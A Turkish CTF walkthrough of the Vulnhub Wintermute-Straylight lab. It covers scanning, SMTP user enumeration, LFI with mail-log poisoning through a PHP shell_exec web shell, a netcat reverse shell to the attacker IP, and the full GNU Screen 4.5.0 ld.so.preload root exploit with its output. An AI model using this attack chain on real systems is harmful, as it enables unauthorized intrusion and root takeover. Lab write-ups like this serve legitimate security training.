Makine Hakkında Bilgiler
Açıklama:
OCSP tarzı bir makine serisi olduğu yazılmış. Ayrıca 2 adet VM gelmektedir. Bu seride Wintermute-Straylight çözülecektir.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/wintermute-1,239/
İndirme Sayfası:
https://download.vulnhub.com/wintermute/Wintermute-v1.zip
Walkthrough
Makinenin ip adresini tespit edelim.
Not: çözüm esnasında bir kaç kere VM'i crash ettim. İlk IP tespitim 192.168.56.101 olmasına karşın daha sonrasında makine 192.168.56.107ipsini aldı. Yani iki ip'de aslında aynı makineye ait. Kafanız karışmasın 🙂
┌──(root💀kali)-[/home/kali/oscp/wintermunute/stray]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:0e:34:8d, IPv4: 192.168.56.104
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:14 (Unknown: locally administered)
192.168.56.100 08:00:27:72:b8:27 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:79:7c:34 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:34:e2:64 PCS Systemtechnik GmbH (DUP: 2)
192.168.56.102 08:00:27:79:7c:34 PCS Systemtechnik GmbH
192.168.56.102 08:00:27:34:e2:64 PCS Systemtechnik GmbH (DUP: 2)
192.168.56.103 08:00:27:24:a1:52 PCS Systemtechnik GmbH
┌──(root💀kali)-[/home/kali/oscp/wintermunute/stray]
└─# ifconfig eth0 1 ⨯
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.104 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::a00:27ff:fe0e:348d prefixlen 64 scopeid 0x20<link>
ether 08:00:27:0e:34:8d txqueuelen 1000 (Ethernet)
RX packets 13 bytes 2900 (2.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 526 bytes 32924 (32.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
nmap taraması ile devam edelim...
┌──(kali㉿kali)-[~]
└─$ nmap -p- -A -T4 192.168.56.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 10:26 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.0052s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: straylight, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=straylight
| Subject Alternative Name: DNS:straylight
| Not valid before: 2018-05-12T18:08:02
|_Not valid after: 2028-05-09T18:08:02
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Night City
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_ Logs: submit
| hadoop-tasktracker-info:
|_ Logs: submit
| http-title: Welcome to ntopng
|_Requested resource was /lua/login.lua?referer=/
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: Host: straylight
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.27 seconds
İnternet sayfalarını ziyaret ettiğimde 3000 portta çalışan hadoop'ta dashboard ekranında bir path yakaladım. Böylece http://192.168.56.101/turing-bolo/ adresine ulaşabildim.
Bu sayfada incelemeler yaptıktan sonra http://192.168.56.105/turing-bolo/bolo.php?bolo= adresinde lfi olabileceğini düşündüm. Daha öncesinde kendi yazdığım lfi-project aracıyla arka planda denemeler yapması için saldırıyı başlattım ve bingo! http://192.168.56.105/turing-bolo/bolo.php?bolo=/var/log/mail adresinde mail loglarını okuyabiliyorum.
SMTP'nin açık olduğunu gördüm ve hemen bir mail atma işlemi gerçekleştirdim. İlk başta kullanıcı tespiti yaptım.
┌──(root💀kali)-[~]
└─# /usr/share/legion/scripts/smtp-user-enum.pl -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.56.107
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... /usr/share/metasploit-framework/data/wordlists/unix_users.txt
Target count ............. 1
Username count ........... 168
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Mon Jun 21 13:31:23 2021 #########
192.168.56.107: _apt exists
192.168.56.107: backup exists
192.168.56.107: bin exists
192.168.56.107: daemon exists
192.168.56.107: games exists
192.168.56.107: gnats exists
192.168.56.107: irc exists
192.168.56.107: list exists
192.168.56.107: lp exists
192.168.56.107: man exists
192.168.56.107: mail exists
192.168.56.107: messagebus exists
192.168.56.107: mysql exists
192.168.56.107: nobody exists
192.168.56.107: news exists
192.168.56.107: postfix exists
192.168.56.107: postgres exists
192.168.56.107: postmaster exists
192.168.56.107: proxy exists
192.168.56.107: root exists
192.168.56.107: ROOT exists
192.168.56.107: sync exists
192.168.56.107: sys exists
192.168.56.107: systemd-bus-proxy exists
192.168.56.107: systemd-network exists
192.168.56.107: systemd-timesync exists
192.168.56.107: systemd-resolve exists
192.168.56.107: uucp exists
192.168.56.107: www-data exists
######## Scan completed at Mon Jun 21 13:31:23 2021 #########
29 results.
168 queries in 1 seconds (168.0 queries / sec)
Evet artık mail atabiliriz.
Önce normal bir mail attım ve lfi ile okuduğumda aşağıdaki html sonucu geldi.
<html>
<style>
.row {
display: flex;
}
.column {
flex: 33.33%;
padding: 5px;
}
body {
color: #ff7614;
}
</style>
<body style="background-color:#3d3d3d;">
<i>Sponsored by:</i> <b style="color:cyan;">Hosaka - <i>"Break the ICE" </i></b><br/>
<img src="c7.png"> <br/><br/>
*********************************************************************
*********************************************************************
<br/>
Jul 1 19:10:42 straylight postfix/postfix-script[1782]: stopping the Postfix mail system
Jul 1 19:10:42 straylight postfix/master[716]: terminating on signal 15
Jul 1 19:10:43 straylight postfix/postfix-script[1945]: starting the Postfix mail system
Jul 1 19:10:43 straylight postfix/master[1947]: daemon started -- version 3.1.8, configuration /etc/postfix
Jul 3 20:26:50 straylight postfix/postfix-script[732]: starting the Postfix mail system
Jul 3 20:26:50 straylight postfix/master[734]: daemon started -- version 3.1.8, configuration /etc/postfix
Jun 21 09:38:49 straylight postfix/postfix-script[817]: starting the Postfix mail system
Jun 21 09:38:49 straylight postfix/master[819]: daemon started -- version 3.1.8, configuration /etc/postfix
Jun 21 09:39:59 straylight postfix/smtpd[1009]: connect from unknown[192.168.56.104]
Jun 21 09:40:41 straylight postfix/smtpd[1009]: 796F25380: client=unknown[192.168.56.104]
Jun 21 09:40:46 straylight postfix/cleanup[1051]: 796F25380: message-id=<>
Jun 21 09:40:46 straylight postfix/qmgr[823]: 796F25380: from=<kuday @straylight>, size=150, nrcpt=1 (queue active)
Jun 21 09:40:46 straylight postfix/local[1054]: 796F25380: to=<root@straylight>, orig_to=<root>, relay=local, delay=9.9, delays=9.9/0.01/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Jun 21 09:40:46 straylight postfix/qmgr[823]: 796F25380: removed
Jun 21 09:45:47 straylight postfix/smtpd[1009]: timeout after END-OF-MESSAGE from unknown[192.168.56.104]
Jun 21 09:45:47 straylight postfix/smtpd[1009]: disconnect from unknown[192.168.56.104] helo=1 mail=1 rcpt=1 data=1 commands=4
</body>
</html>Harika LFI çalışıyor hadi reverse alalım.
┌──(root💀kali)-[~]
└─# nc 192.168.56.107 25
220 straylight ESMTP Postfix (Debian/GNU)
HELO kuday
250 straylight
MAIL FROM: "kuday <?php echo shell_exec($_GET['cmd']); ?>"
250 2.1.0 Ok
RCPT TO: root
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
.
250 2.0.0 Ok: queued as 796F25380
500 5.5.2 Error: bad syntax
421 4.4.2 straylight Error: timeout exceeded
Daha sonrasında view-source:http://192.168.56.107/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=woami&cmd=nc%20192.168.56.104%201822%20-e%20/bin/bash ile reverse aldım. Her zaman yaptığım enum scriptini çalıştırdım ve suid bitleri etkin screen dosyasını buldum. OSWP günlerim aklıma geldi...
Bununla ilgili internette exploit aradım.
---
[*] fst010 Binaries with setuid bit........................................ yes!
---
/bin/su
/bin/umount
/bin/mount
/bin/screen-4.5.0
/bin/ping
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
---
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/bin/screen-4.5.0
---
┌──(root💀kali)-[~]
└─# searchsploit screen local priv
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | linux/local/41152.txt
League of Legends Screensaver - Insecure File Permissions Privilege Escalation | windows/local/39903.txt
League of Legends Screensaver - Unquoted Service Path Privilege Escalation | windows/local/39902.txt
Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4 / NT 3.5.1/SP1/SP2/SP3/SP4/SP5 - Screensaver | windows/local/19359.txt
Solaris 11.4 - xscreensaver Privilege Escalation | solaris/local/47529.txt
Solaris xscreensaver 11.4 - Privilege Escalation | solaris/local/47509.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[~]
└─# locate linux/local/41154.sh
/usr/share/exploitdb/exploits/linux/local/41154.sh
┌──(root💀kali)-[~]
└─# cat /usr/share/exploitdb/exploits/linux/local/41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
Buradaki talimaların hepsini gerçekleştirdim.
www-data@straylight:/tmp$ wget http://192.168.56.104:8000/libhax.c
wget http://192.168.56.104:8000/libhax.c
--2021-06-21 10:15:53-- http://192.168.56.104:8000/libhax.c
Connecting to 192.168.56.104:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 252 [text/x-csrc]
Saving to: 'libhax.c'
libhax.c 100%[===================>] 252 --.-KB/s in 0s
2021-06-21 10:15:53 (43.8 MB/s) - 'libhax.c' saved [252/252]
www-data@straylight:/tmp$ wget http://192.168.56.104:8000/rootshell.c
wget http://192.168.56.104:8000/rootshell.c
--2021-06-21 10:16:15-- http://192.168.56.104:8000/rootshell.c
Connecting to 192.168.56.104:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 134 [text/x-csrc]
Saving to: 'rootshell.c'
rootshell.c 100%[===================>] 134 --.-KB/s in 0s
2021-06-21 10:16:15 (36.6 MB/s) - 'rootshell.c' saved [134/134]
www-data@straylight:/tmp$
www-data@straylight:/tmp$ ls
ls
libhax.c lse.sh rootshell.c screens
www-data@straylight:/tmp$ cat rootshell.c
cat rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
www-data@straylight:/tmp$ cat libhax.c
cat libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
www-data@straylight:/tmp$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:5: warning: implicit declaration of function 'chmod' [-Wimplicit-function-declaration]
chmod("/tmp/rootshell", 04755);
^~~~~
www-data@straylight:/tmp$ gcc -o /tmp/rootshell /tmp/rootshell.c
gcc -o /tmp/rootshell /tmp/rootshell.c
/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:5: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function 'seteuid' [-Wimplicit-function-declaration]
seteuid(0);
^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
setegid(0);
^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
execvp("/bin/sh", NULL, NULL);
^~~~~~
www-data@straylight:/tmp$ cd /etc
cd /etc
www-data@straylight:/etc$ unmask 000
unmask 000
bash: unmask: command not found
www-data@straylight:/etc$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
x.so"n -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax
www-data@straylight:/etc$ screen -ls
screen -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
www-data@straylight:/etc$ /tmp/rootshell
/tmp/rootshell
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Harika!
cd /root
# ls
ls
flag.txt note.txt scripts
# cat flag.txt
cat flag.txt
5ed185fd75a8d6a7056c96a436c6d8aa
# cat note.txt
cat note.txt
Devs,
Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI.
The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.
Anyways, we've deployed the war file on tomcat as ordered - located here:
/struts2_2.3.15.1-showcase
It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing.
Regards,
Bob Laugh
Turing Systems Engineer II
Freeside//Straylight//Ops5
İlk Yorumu Siz Yapın